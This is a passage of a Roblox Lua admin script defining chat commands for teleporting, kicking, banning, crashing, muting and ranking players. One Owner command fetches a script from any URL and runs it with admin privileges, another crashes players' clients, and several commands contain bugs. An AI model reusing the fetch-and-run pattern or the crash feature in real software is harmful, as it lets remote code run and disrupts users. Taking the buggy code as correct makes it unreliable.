5739 if RankNum <= RANK:ConvertRank(Rank) then
5740 Server.TS:Teleport(Arguments[2], Player)
5741 end
5742 end
5743 end};
5744
5745 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5746 local Players = STRING:Scan(Arguments[1], Speaker)
5747 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5748 if Suc then
5749 for _,Player in pairs(Players) do
5750 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5751 end
5752 else
5753 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5754 end
5755 end};
5756
5757 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5758 local Players = STRING:Scan(Arguments[1], Speaker)
5759 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5760 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5761 if Suc then
5762 for _,Player in pairs(Players) do
5763 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5764 end
5765 else
5766 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5767 end
5768 end)
5769 end};
5770
5771 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5772 local Players = STRING:Scan(Arguments[1], Speaker)
5773 for _,Player in pairs(Players) do
5774 local _,RankNum = RANK:GetRank(Player)
5775 if RankNum < RANK:ConvertRank(Rank) then
5776 Server.TS:Teleport(155307015, Player)
5777 end
5778 end
5779 end};
5780
5781 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5782 local Players = STRING:Scan(Arguments[1], Speaker)
5783 for _,Player in pairs(Players) do
5784 local _,RankNum = RANK:GetRank(Player)
5785 if RankNum < RANK:ConvertRank(Rank) then
5786 Server.TS:Teleport(347911447, Player)
5787 end
5788 end
5789 end};
5790
5791 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5792 local Players = STRING:Scan(Arguments[1], Speaker)
5793 for _,Player in pairs(Players) do
5794 CORE:GenerateShield(Player)
5795 end
5796 end};
5797
5798 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5799 local Players = STRING:Scan(Arguments[1], Speaker)
5800 for _,Player in pairs(Players) do
5801 if Player.Character then
5802 local Shield = Player.Character:FindFirstChild("Shield")
5803 if Shield then Shield:Destroy() end
5804 end
5805 end
5806 end};
5807
5808 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5809 local Num = tonumber(Arguments[1])
5810 if Num and Num ~= 0 then
5811 local Random = math.random(1,math.abs(Num))
5812 if Random == math.random(1,math.abs(Num)) then
5813 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5814 else
5815 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5816 end
5817 else
5818 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5819 end
5820 end};
5821
5822 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5823 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5824 IRC:AddChat(Speaker.Name, Arguments[1])
5825 end};
5826
5827 --[[
5828 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5829 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5830 if Res then
5831 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5832 end
5833 end, Http = true};
5834
5835 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5836 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5837 if Res then
5838 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5839 end
5840 end}, Http = true;
5841 ]]
5842
5843 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5844 IRC:Quit("Reconnecting")
5845 IRC:ConnectToServer(Settings.IRCServer)
5846 end};
5847
5848 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5849 local Players = STRING:Scan(Arguments[1], Speaker)
5850 for _,Player in pairs(Players) do
5851 local PreAdd = {}
5852 for _,Data in pairs(IRC.Chats) do
5853 local Error = nil
5854 if Rank == "Owner" then Error = Data[3] end
5855 table.insert(PreAdd, {Data[1], Data[2], Error})
5856 end
5857 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5858 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5859 if Rank ~= "Owner" then Error = nil end
5860 AddMessage:Invoke(UserName, Message, Error)
5861 end)
5862 SendPressed.Event:connect(function(Text)
5863 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5864 IRC:AddChat(Player.Name, Text)
5865 end)
5866 end
5867 end};
5868
5869 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5870 local Players = STRING:Scan(Arguments[1], Speaker)
5871 for _,Player in pairs(Players) do
5872 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5873 if Type == "Leave" then
5874 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5875 elseif Type == "Join" then
5876 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5877 end
5878 end)
5879 PriChat.Chatted.Event:connect(function(UserName, Message)
5880 AddMessage:Invoke(UserName, Message)
5881 end)
5882 SendPressed.Event:connect(function(Text)
5883 PriChat.Chatted:Fire(Player.Name, Text)
5884 table.insert(PriChat.Chats, {Player.Name, Text})
5885 end)
5886 end
5887 end};
5888
5889 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5890 ExecuteSafe(Arguments[1], Speaker)
5891 end};
5892
5893 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5894 local Script = REMOTE:GetURL(Arguments[1], Player)
5895 if Script then
5896 ExecuteSafe(Script, Speaker)
5897 end
5898 end, Http = true};
5899
5900 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5901 local Time = tick()
5902 local Res = REMOTE:GetURL(Arguments[1], Player)
5903 if Res then
5904 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5905 end
5906 end, Http = true};
5907
5908 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5909 CORE:RemoveAdmin(Speaker)
5910 end};
5911
5912 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5913 for _,Player in pairs(Server.Players:GetPlayers()) do
5914 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5915 end
5916 end};
5917
5918 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5919 local Players = STRING:Scan(Arguments[1], Speaker)
5920 local Debt = nil
5921 for _,Player in pairs(Players) do
5922 if not Debt then
5923 Debt = GUI:ShowDebtStats(Player)
5924 else
5925 GUI:ShowDebtStats(Player, Debt)
5926 end
5927 end
5928 end, Http = true};
5929
5930 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5931 local Players = STRING:Scan(Arguments[1], Speaker)
5932 for _,Player in pairs(Players) do
5933 GUI:CreateHUD(Player)
5934 end
5935 end};
5936
5937 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5938 local Players = STRING:Scan(Arguments[1], Speaker)
5939 for _,Player in pairs(Players) do
5940 if Player:FindFirstChild("PlayerGui") then
5941 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5942 if HUD then HUD:Destroy() end
5943 end
5944 end
5945 end};
5946
5947 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5948 local Players = STRING:Scan(Arguments[1], Speaker)
5949 GUI:Vote(Speaker, Players, Arguments[2], 30)
5950 end};
5951
5952 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5953 local Players = STRING:Scan(Arguments[1], Speaker)
5954 for _,Player in pairs(Players) do
5955 CORE:ExecuteResource("Bomb", Player.Character)
5956 end
5957 end};
5958
5959 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5960 local Players = STRING:Scan(Arguments[1], Speaker)
5961 for _,Player in pairs(Players) do
5962 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5963 CORE:RestoreCamera(Player)
5964 end
5965 end};
5966
5967 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5968 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5969 CORE:RestoreCamera(Speaker)
5970 end};
5971
5972 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5973 local Players1 = STRING:Scan(Arguments[1], Speaker)
5974 local Players2 = STRING:Scan(Arguments[2], Speaker)
5975 for _,Player1 in pairs(Players1) do
5976 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5977 for _,Player2 in pairs(Players2) do
5978 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5979 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5980 end
5981 end
5982 end
5983 end
5984 end};
5985
5986 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5987 local Players = STRING:Scan(Arguments[1], Speaker)
5988 for _,Player in pairs(Players) do
5989 Player:LoadCharacter()
5990 end
5991 end};
5992
5993 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5994 local Players = STRING:Scan(Arguments[1], Speaker)
5995 for _,Player in pairs(Players) do
5996 CORE:RestoreCamera(Player)
5997 end
5998 end};
5999
6000 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
6001 local Players = STRING:Scan(Arguments[1], Speaker)
6002 for _,Player in pairs(Players) do
6003 CORE:Jail(Player)
6004 end
6005 end};
6006
6007 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
6008 local Players = STRING:Scan(Arguments[1], Speaker)
6009 for _,Player in pairs(Players) do
6010 CORE:UnJail(Player)
6011 end
6012 end};
6013
6014 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
6015 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
6016 end};
6017
6018 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
6019 SOUND:StopSpeaking()
6020 end};
6021
6022 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
6023 local Players = STRING:Scan(Arguments[1], Speaker)
6024 local Compile = {}
6025 for Num,Player in pairs(Players) do
6026 local PlayerRank = RANK:GetRank(Player)
6027 local PlayerInfo = ClientInfo[Player.Name]
6028 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
6029 table.insert(Compile, "User ID: "..Player.UserId)
6030 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
6031 table.insert(Compile, "Rank: "..PlayerRank)
6032
6033 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
6034 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
6035 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
6036 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
6037 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
6038 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
6039 if PlayerInfo.Benchmark then
6040 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
6041 end
6042 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
6043 end
6044 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
6045 end};
6046
6047 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
6048 if tonumber(Arguments[2]) then
6049 local Players = STRING:Scan(Arguments[1], Speaker)
6050 for _,Player in pairs(Players) do
6051 coroutine.wrap(function()
6052 if Player.Character then
6053 table.insert(LoopKills, Player.Name)
6054 local Loop = nil
6055 local PrevChar = nil
6056
6057 for i = 1,tonumber(Arguments[2]) do
6058 local Char = Player.Character
6059 if PrevChar and PrevChar ~= Char then
6060 PrevChar:Destroy()
6061 end
6062 PrevChar = Char
6063 local CanDie = true
6064 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
6065 if CanDie == false then
6066 break
6067 end
6068 ypcall(function() Char.Parent = Server.Lighting end)
6069 wait(0.1)
6070 ypcall(function() Char.Parent = Server.Workspace end)
6071 wait(0.1)
6072 end
6073 end
6074 end)()
6075 end
6076 else
6077 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
6078 end
6079 end};
6080
6081 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6082 local Players = STRING:Scan(Arguments[1], Speaker)
6083 for _,Player in pairs(Players) do
6084 for Num,Name in pairs(LoopKills) do
6085 if Player.Name == Name then
6086 table.remove(LoopKills, Num)
6087 end
6088 end
6089 end
6090 end};
6091
6092 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
6093 SOUND:PlayGlobalSound(Arguments[1])
6094 end};
6095
6096 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
6097 SOUND:StopGlobalSound()
6098 SOUND:ClearInfo()
6099 end};
6100
6101 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
6102 local Pitch = tonumber(Arguments[1])
6103 if not Pitch then Pitch = 1 end
6104 if Sound then
6105 Sound.Pitch = Pitch
6106 end
6107 end};
6108
6109 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
6110 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
6111 local Items = MARKET:SearchItem(9, Arguments[1])
6112 if Items then
6113 if #Items ~= 0 then
6114 local List,Correlate = {},{}
6115 for Num,Info in pairs(Items) do
6116 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
6117 table.insert(List, Display)
6118 Correlate[Display] = Info.AssetId
6119 end
6120 CloseGui:Invoke()
6121
6122 local CanClick = true
6123 if Rank == "Member" then CanClick = false end
6124 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6125 Clicked.Event:connect(function(ClickName)
6126 local OldSoundId = nil
6127 SOUND:StopGlobalSound()
6128 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6129 SOUND:PlayGlobalSound(Correlate[ClickName])
6130 end
6131 end)
6132 else
6133 CloseGui:Invoke()
6134 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6135 end
6136 else
6137 CloseGui:Invoke()
6138 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6139 end
6140 end, Http = true};
6141
6142 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6143 local Players = STRING:Scan(Arguments[1], Speaker)
6144 for _,Player in pairs(Players) do
6145 if Player.Character then
6146 CORE:ExecuteResource("Gun", Player.Character)
6147 end
6148 end
6149 end};
6150
6151 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6152 local Players = STRING:Scan(Arguments[1], Speaker)
6153 for _,Player in pairs(Players) do
6154 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6155 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6156 Player.Character.Humanoid.WalkSpeed = 0
6157 Player.Character.Torso.Anchored = true
6158 coroutine.wrap(function()
6159 local OldCFrame = Player.Character.Torso.CFrame
6160 for i = 0,8,0.1 do
6161 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6162 wait()
6163 end
6164 Player.Character.Torso.Anchored = false
6165 Player.Character:BreakJoints()
6166 CORE:InvisiblePlayer(Player)
6167 end)()
6168 end
6169 end
6170 end};
6171
6172 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6173 local Players = STRING:Scan(Arguments[1], Speaker)
6174 for _,Player in pairs(Players) do
6175 CORE:AnchorPlayer(Player)
6176 end
6177 end};
6178
6179 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6180 local Players = STRING:Scan(Arguments[1], Speaker)
6181 for _,Player in pairs(Players) do
6182 CORE:UnanchorPlayer(Player)
6183 end
6184 end};
6185
6186 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6187 local Players = STRING:Scan(Arguments[1], Speaker)
6188 for _,Player in pairs(Players) do
6189 CORE:InvisiblePlayer(Player)
6190 end
6191 end};
6192
6193 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6194 local Players = STRING:Scan(Arguments[1], Speaker)
6195 for _,Player in pairs(Players) do
6196 CORE:VisiblePlayer(Player)
6197 end
6198 end};
6199
6200 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6201 local Players = STRING:Scan(Arguments[1], Speaker)
6202 for _,Player in pairs(Players) do
6203 if Player.Character and Player.Character:FindFirstChild("Torso") then
6204 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6205 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6206 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6207 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6208 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6209 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6210 Fly:Play()
6211 local Touched = false
6212 coroutine.wrap(function()
6213 repeat wait(0.1)
6214 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6215 until not Ast or Ast.Parent == nil or Touched == true
6216 end)()
6217 Ast.Touched:connect(function(Part)
6218 if Touched == false then
6219 Touched = true
6220 Part:BreakJoints()
6221 local Boom = Instance.new("Explosion", Workspace)
6222 Boom.Position = Ast.Position
6223 Boom.BlastPressure = 1000000
6224 Boom.BlastRadius = 30
6225 Fire.Heat = 0
6226 Smoke.RiseVelocity = 0
6227 Fly:Stop()
6228 BoomSound:Play()
6229 coroutine.wrap(function()
6230 wait(3)
6231 BoomSound:Stop()
6232 if Ast and Ast.Parent ~= nil then
6233 Ast:Destroy()
6234 end
6235 end)()
6236 end
6237 end)
6238 end
6239 end
6240 end};
6241
6242 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6243 local Success = {}
6244 local Players = STRING:Scan(Arguments[1], Speaker)
6245 for _,Player in pairs(Players) do
6246 local PlayerRank = RANK:GetRank(Player)
6247 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6248 CORE:Kick(Player)
6249 table.insert(Success, Player)
6250 end
6251 end
6252 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6253 end};
6254
6255 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6256 local Success = {}
6257 local Players = STRING:Scan(Arguments[1], Speaker)
6258 for _,Player in pairs(Players) do
6259 local PlayerRank = RANK:GetRank(Player)
6260 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6261 RANK:RemoveRank(Player)
6262 table.insert(Settings.Ranks.Banned, Player.Name)
6263 CORE:Kick(Player)
6264 table.insert(Success, Player)
6265 end
6266 end
6267 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6268 end};
6269
6270 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6271 local Success = {}
6272 local Players = STRING:Scan(Arguments[1], Speaker)
6273 for _,Player in pairs(Players) do
6274 local PlayerRank = RANK:GetRank(Player)
6275 if PlayerRank ~= "Owner" then
6276 RANK:RemoveRank(Player)
6277 table.insert(Settings.Ranks.Crashed, Player.Name)
6278 CORE:Crash(Player)
6279 table.insert(Success, Player)
6280 end
6281 end
6282 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6283 end};
6284
6285 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6286 local Success = {}
6287 local Players = STRING:Scan(Arguments[1], Speaker)
6288 for _,Player in pairs(Players) do
6289 local PlayerRank = RANK:GetRank(Player)
6290 if PlayerRank ~= "Owner" then
6291 RANK:RemoveRank(Player)
6292 table.insert(Settings.Ranks.Muted, Player.Name)
6293 GUI:CoreGui(Player, "Chat", false)
6294 table.insert(Success, Player)
6295 end
6296 end
6297 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6298 end};
6299
6300 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6301 local Players = STRING:Scan(Arguments[1], Speaker)
6302 if #Players > 0 then
6303 local Success = {}
6304 for _,Player in pairs(Players) do
6305 local RankName,RankNum = RANK:GetRank(Player)
6306 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6307 if not RANK:IsSupremeOwner(Player) then
6308 if RankName == "Muted" then
6309 GUI:CoreGui(Player, "Chat", true)
6310 end
6311 if RankNum > 0 then
6312 GUI:TellNotAdmin(Player)
6313 end
6314 RANK:RemoveRank(Player)
6315 table.insert(Success, Player)
6316 end
6317 end
6318 end
6319 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6320 else
6321 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6322 if Player then
6323 local RankNum = RANK:ConvertRank(PlayerRank)
6324 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6325 if not RANK:IsSupremeOwner(Player) then
6326 RANK:RemoveRank(Player)
6327 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6328 end
6329 end
6330 end
6331 end
6332 end};
6333
6334 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6335 local Players = STRING:Scan(Arguments[1], Speaker)
6336 if #Players > 0 then
6337 local Success = {}
6338 for _,Player in pairs(Players) do
6339 local PlayerRank,RankNum = RANK:GetRank(Player)
6340 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6341 RANK:RemoveRank(Player)
6342 table.insert(Settings.Ranks.Member, Player.Name)
6343 GUI:TellAdmin(Player)
6344 table.insert(Success, Player)
6345 end
6346 end
6347 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6348 else
6349 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6350 if Player then
6351 local RankNum = RANK:ConvertRank(PlayerRank)
6352 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6353 if not RANK:IsSupremeOwner(Player) then
6354 RANK:RemoveRank(Player)
6355 table.insert(Settings.Ranks.Member, Player)
6356 end
6357 end
6358 else
6359 RANK:RemoveRank(Arguments[1])
6360 table.insert(Settings.Ranks.Member, Arguments[1])
6361 end
6362 end
6363 end};
6364
6365 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6366 local Players = STRING:Scan(Arguments[1], Speaker)
6367 if #Players > 0 then
6368 local Success = {}
6369 for _,Player in pairs(Players) do
6370 local PlayerRank,RankNum = RANK:GetRank(Player)
6371 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6372 RANK:RemoveRank(Player)
6373 table.insert(Settings.Ranks.Admin, Player.Name)
6374 GUI:TellAdmin(Player)
6375 table.insert(Success, Player)
6376 end
6377 end
6378 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6379 else
6380 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6381 if Player then
6382 local RankNum = RANK:ConvertRank(PlayerRank)
6383 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6384 if not RANK:IsSupremeOwner(Player) then
6385 RANK:RemoveRank(Player)
6386 table.insert(Settings.Ranks.Admin, Player)
6387 end
6388 end
6389 else
6390 RANK:RemoveRank(Arguments[1])
6391 table.insert(Settings.Ranks.Admin, Arguments[1])
6392 end
6393 end
6394 end};
6395
6396 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6397 local Players = STRING:Scan(Arguments[1], Speaker)
6398 if RANK:IsSupremeOwner(Speaker) then
6399 if #Players > 0 then
6400 local Success = {}
6401 for _,Player in pairs(Players) do
6402 if not RANK:IsSupremeOwner(Player) then
6403 RANK:RemoveRank(Player)
6404 table.insert(Settings.Ranks.Owner, Player.Name)
6405 GUI:TellAdmin(Player)
6406 table.insert(Success, Player)
6407 end
6408 end
